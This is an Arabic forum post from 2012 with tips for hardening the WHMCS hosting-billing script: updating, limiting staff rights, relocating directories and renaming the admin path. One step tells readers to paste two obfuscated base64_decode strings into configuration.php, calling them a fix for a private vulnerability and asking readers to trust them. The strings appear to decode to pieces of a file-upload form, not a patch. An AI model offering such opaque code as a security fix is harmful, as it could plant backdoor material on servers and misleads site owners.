المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : أغلب ثغرات سكربت whmcs وطرق الحماية منها



Eng Amr Adel
18-10-2012, 01:36
بسم الله الرحمن الرحيم



الموضوع سيكون لحل بعض الثغرات التى ظهرت الفترة السابقة حسب ما توصلت اليه الى الان وسببت ازعاج وقلق كبيير للجميع ومنهم انا :( للاسف كون اغلب الشركات تعتمد عليه اعتماد كلى

ساحاول ان ابدأ الموضوع بالترتيب الدقيق حتى نحصل على افضل حماية للاسكربت من خطر الاختراق بنسبة كبييرة باذن الله



اولا : نصائح هامة لمالكى الاسكربت قبل البدأ :

1 - كن على تواصل دائما مع الشركة ومتابعه التحديثات الدورية التى تصدر منهم ولا تتجاهلها ومن الافضل هو
عمل Follow كما افعل :D لحسابهم على تويتر وهو Twitter (http://twitter.com/#%21/whmcs)

2- اذا كنت صاحب شركه استضافة وتمتلك اسكربت منزووووع فمن الافضل ان لا تستخدم الاسكربت واستخدم اسكربت مجانى او اغلاق الشركة افضل لك وللعملاء :D

3- كن حريص على عدم اعطاء الموظفين لديك صلاحيات Full Administrator فحاول ان تحدد اختصاصاتهم حسب وظيفتهم

4 - يجب ان يكون موقع الشركه على vps خاص لك ولا يكون مشترك معك مواقع العملاء على نفس السيرفر Shared Hosting ! ( ضرورى )

5 - لا تركب اى اسكربتات لمراكز التحميل على موقع الشركه فاجعل الفى بى اس خاااص فقط باسكربت
whmcs

6 - قم بالتاكد من حماية السيرفر حماية جيدة جدا واحمى قواعد البيانات من الاتصالات الخارجية networking



الان بعد عمل جمييع النصائح بالاعلى واشك ان احد سيقوم بها :D ندخل على حماية الاسكربت نفسه whmcs https://www.rise.company/forum/images/imported/2012/08/cupidarrowgif-1.jpg


اولا : قم بتحميل اخر اصدار من الاسكربت من موقع الشركه سواء الاصدار 5 او 4 من https://www.whmcs.com/members/clientarea.php

ثانيا : قم بحذف جميع ملفات الاسكربت القديمة واستبدلها بجميع ملفات الاسكربت الذى قمنا بتحميله من الموقع الام ولا تنسى المحافظة على ملف الكونفجريشن + تمبلت الاستايل الخاص بك مع فحص ملفات الاستايل من وجود ملفات غريبة وحذفها .وقم بترقية الاسكربت فى حال كنت اصدار اقل من 452 او تريد الترقية الى الاصدار الخامس


ثالثا : حمل الملف التالى حسب اصدار الاسكربت الخاص بك 4 او 5
Version 4.5.x -> http://www.whmcs.com/members/dl.php?type=d&id=112
Version 5.0.x -> http://www.whmcs.com/members/dl.php?type=d&id=113


يتم رفع ملف الترقيع بعد فك الضغط عنه على مجلد includes
ليصبح المسار includes/functions.php


رابعا : افتح ملف الكونفجريشن configuration.php ستجد محتوى الملف كالتالى حسب بيانات موقعك :
رمز PHP:


$license = "Traidnt";

$db_host = "localhost";

$db_username = "root";

$db_password = "123456";

$db_name = "whmcs";

$cc_encryption_hash = "iVwZve8ZazW38UxUKI0MRXXnN6tWp89a3u5hyaS0gCBy2ORDce KuBPSPA5jSZXFk";

$templates_compiledir = "templates_c/";


ما يهمنا هو السطر الاخير الخاص بكاشات التمبلت فقم بحذفه وضيف التالى بدلا منه مع تغيير username الى يوزر موقع الشركة .
رمز PHP:


$templates_compiledir = "/home/username/templates_c/";
$attachments_dir = "/home/username/attachments/";
$downloads_dir = "/home/username/downloads/";
$customadminpath = "Your Folder Name Admin New";


مع تغيير Your Folder Name Admin New الى اى اسم تريده وسيكون هذا هو اسم مجلد admin الجديد للاسكربت

ويمكنك ايضا تغيير اسماء templates_c و attachments و downloads الى اى اسم تريده مع مراعاة ايضا تغيير الاسم فى الاف تى بى ووضعه خارج public_html




ليصبح شكل ملف الكونفجريشن النهائى كالتالى : رمز PHP:



$license = "Your license";

$db_host = "localhost";

$db_username = "root";

$db_password = "123456";

$db_name = "whmcs";

$cc_encryption_hash = "iVwZve8ZazW38UxUKI0MRXXnN6tWp89a3u5hyaS0gCBy2ORDce KuBPSPA5jSZXFk";


$customadminpath = "Your Folder Name Admin New";
$templates_compiledir = "/home/username/templates_c/";
$attachments_dir = "/home/username/attachments/";
$downloads_dir = "/home/username/downloads/";



خامسا : هناك ثغرة برايفت اكتشفتها بالاسكربت تقوم هذه الثغرة بجلب محتوى الكونفجريشن عند الرد على التذكرة وهيا تعمل على الاصدار 452 ولم اجربها على الاصدار الخامس وتم مراسلة الشركة الام بخصوصها وسيتم ترقيعها

وحاولت ان اجد لها حل مؤقت و الحمد لله الحل فعال جدا يرقع هذه الثغرة

ولتطبيق الترقيع :

1 - افتح ملف configuration.php

2 - اضف فى اسفله التالى رمز PHP:



//// Sec Whmcs By Ahmed Hamdy (TroY) Traidnt.Net

base64_decode("MGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMT FiSFJwY0dGeWRDOW1iM0p0TFdSDQogaGRHRWlJRzVoYldVOUlu VndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcG xZMmh2DQogSUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2Jt RnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQDQpqeHBibkIxZE NCdVlXMWxQU0pmZFhCc0lpQjBlWEJsUFNKemRXSnRhWFFpSUds a1BTSmZkWEJzSWkNCg==");

base64_decode("MGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMT FiSFJwY0dGeWRDOW1iM0p0TFdSDQogaGRHRWlJRzVoYldVOUlu VndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcG xZMmh2DQpqeHBibkIxZENCdVlXMWxQU0pmZFhCc0lpQjBlWEJs UFNKemRXSnRhWFFpSUdsa1BTSmZkWEJzSWkNCg==");

//// Sec Whmcs By Ahmed Hamdy (TroY) Traidnt.Net


اسف على التشفير ولكن حتى لا تنتشر الثغرة واقسم بالله لا يوجد ما يقلقك من التشفير فهيا فقط حتى لا يستغلها اصحاب النفوس المريضة

واذا لا تثق بى وهذا من حقك فتجاهل هذه الخطوة .

ليكون شكل ملف الكونفجريشن النهائى كالتالى

https://www.rise.company/forum/images/imported/2012/10/615233d1323277171snapshot1png-1.jpg


سادسا : قم باعطاء ملف configuration.php تصريح 444 ونقل مجلد templates_c و attachments و downloads الى خارج public_html ليكون مسارهم كما تم وضعه فى الكونفجيشن

والان بعض التطبيق اقول لك مبروك فقد تم حماية الاسكربت بشكل يمنع اختراقك من اطفال الهكر (b0x وممن معه )

والسلام عليكم